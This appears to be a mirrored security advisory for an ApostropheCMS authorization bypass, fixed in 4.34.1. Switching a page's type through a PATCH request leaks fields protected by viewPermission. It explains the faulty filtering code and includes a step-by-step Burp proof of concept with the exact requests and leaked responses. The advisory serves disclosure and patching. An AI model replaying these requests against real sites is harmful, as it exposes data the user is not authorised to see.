GHSA-F74V-RXWX-7VV9
Page type switch exposes viewPermission-protected fields
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-F74V-RXWX-7VV9 divulgada | |
| Remediación | Parche 4.34.1 | apostrophe · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
A user who can edit a page but cannot view one of its fields due to viewPermission can change the page to another page type that does not declare that field. The PATCH response and subsequent GET responses then include the field’s stored value.
This bypasses Apostrophe’s field-level view restriction: the value is still in the document, but response filtering no longer recognizes it as protected because the document’s current type has a different schema.
Details
Apostrophe allows individual schema fields to be restricted with `viewPermission`:
privateData: {
type: 'string',
viewPermission: {
action: 'publish',
type: 'secret-page'
}
}A contributor may be allowed to edit a page while lacking the `publish` permission required to view this field. In that case, the field must never appear in the contributor’s API responses.
The issue occurs in the page type-change path:
- `applyPatch()` in `modules/@apostrophecms/page/index.js` selects the manager based on the incoming type:
```js
const manager = self.apos.doc.getManager(
self.apos.launder.string(input.type) || page.type
);
```
- It computes the allowed schema for the new type and converts the patch using that schema. Fields that existed under the old type but are not present in the new schema are not removed from the stored document.
- The document is saved and returned. The REST response wrapper calls `removeForbiddenFieldsDeep()`.
- `removeForbiddenFieldsDeep()` chooses the filtering manager from the document’s current type:
```js
if (value.metaType === 'doc') {
self.getManager(value.type)?.removeForbiddenFields(req, value);
}
```
- `removeForbiddenFields()` builds its list of protected fields only from the current manager’s schema:
```js
const forbiddenSchemaFields = Object.values(self.schema)
.filter(field => {
return field.viewPermission && !canView;
});
```
If the new type does not declare `privateData`, there is no schema entry marked with `viewPermission`, so the value is not removed.
- The response serializer sends the whole document, including the orphaned `privateData` value.
The type switch itself is an intended feature. Retaining old field values across a type change may also be intentional. The bug is that the response filter trusts the new type’s schema and therefore stops applying the old field’s access restriction.
This bypasses the normal `viewPermission` filtering for both the write response and later reads. It is not limited to the UI: the value is returned in the REST JSON.
Proof of concept
The following configuration creates two page types. `secret-page` has a protected field; `plain-page` does not.
modules: {
'@apostrophecms/page': {
options: {
park: [],
types: [
{ name: '@apostrophecms/home-page', label: 'Home' },
{ name: 'secret-page', label: 'Secret Page' },
{ name: 'plain-page', label: 'Plain Page' }
]
}
},
'secret-page': {
extend: '@apostrophecms/page-type',
fields: {
add: {
privateData: {
type: 'string',
viewPermission: {
action: 'publish',
type: 'secret-page'
}
}
}
}
},
'plain-page': {
extend: '@apostrophecms/page-type',
fields: {
add: {
plain: { type: 'string' }
}
}
}
}As an administrator, create a page of type `secret-page` with:
privateData = "TOPSECRET-VALUE"Log in as a contributor who can edit the page but cannot publish, then capture the draft page request in Burp:
- Open Burp's embedded browser and log in at `http://127.0.0.1:3100/login`.
- Navigate to the draft page REST URL, replacing `<PAGE_ID>` with the page ID (it may end in `:en:draft`):
```text
http://127.0.0.1:3100/api/v1/@apostrophecms/page/<PAGE_ID>?aposMode=draft
```
- In Proxy → HTTP history, find that `GET` request and choose Send to Repeater.
- Keep the complete `Cookie` header exactly as captured. It contains the contributor session and the CSRF cookie.
The baseline request in Repeater is:
GET /api/v1/@apostrophecms/page/<PAGE_ID>?aposMode=draft HTTP/1.1
Host: 127.0.0.1:3100
Cookie: <contributor session and CSRF cookies>Send it. `privateData` is correctly absent:
{
"type": "secret-page"
}Now change the request method and add the JSON body:
PATCH /api/v1/@apostrophecms/page/<PAGE_ID>?aposMode=draft HTTP/1.1
Host: 127.0.0.1:3100
Cookie: <same Cookie header as the baseline request>
Content-Type: application/json
Content-Length: 21
{"type":"plain-page"}If Burp does not recalculate the length, right-click the request and choose Update Content-Length. Send the request. The response contains the protected value:
{
"type": "plain-page",
"privateData": "TOPSECRET-VALUE"
}To confirm the value persists, change the request back to a GET, remove the body and `Content-Type`, and send it again:
GET /api/v1/@apostrophecms/page/<PAGE_ID>?aposMode=draft HTTP/1.1
Host: 127.0.0.1:3100
Cookie: <same Cookie header as the baseline request>The response still contains:
{
"type": "plain-page",
"privateData": "TOPSECRET-VALUE"
}Impact
An authenticated user with edit permission on a page can read fields that are explicitly protected from them by `viewPermission`. This is a confidentiality and authorization bypass.
The confirmed impact is:
- Exposure of field values the user is not authorized to view.
- Exposure persists after the type switch, so later GETs also return the value.
- The issue is repeatable and scriptable across any pages the attacker can edit.
- The attacker does not need publish, admin, or field-level edit permission.
- The exposed data may include internal notes, personal information, private commercial information, moderation or legal notes, credentials, or other secrets if stored in page fields.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmapostrophe |
Corregida | 4.34.1 | 0 d | 4.34.1 no afectada |
4.34.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-f74v-rxwx-7vv9Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
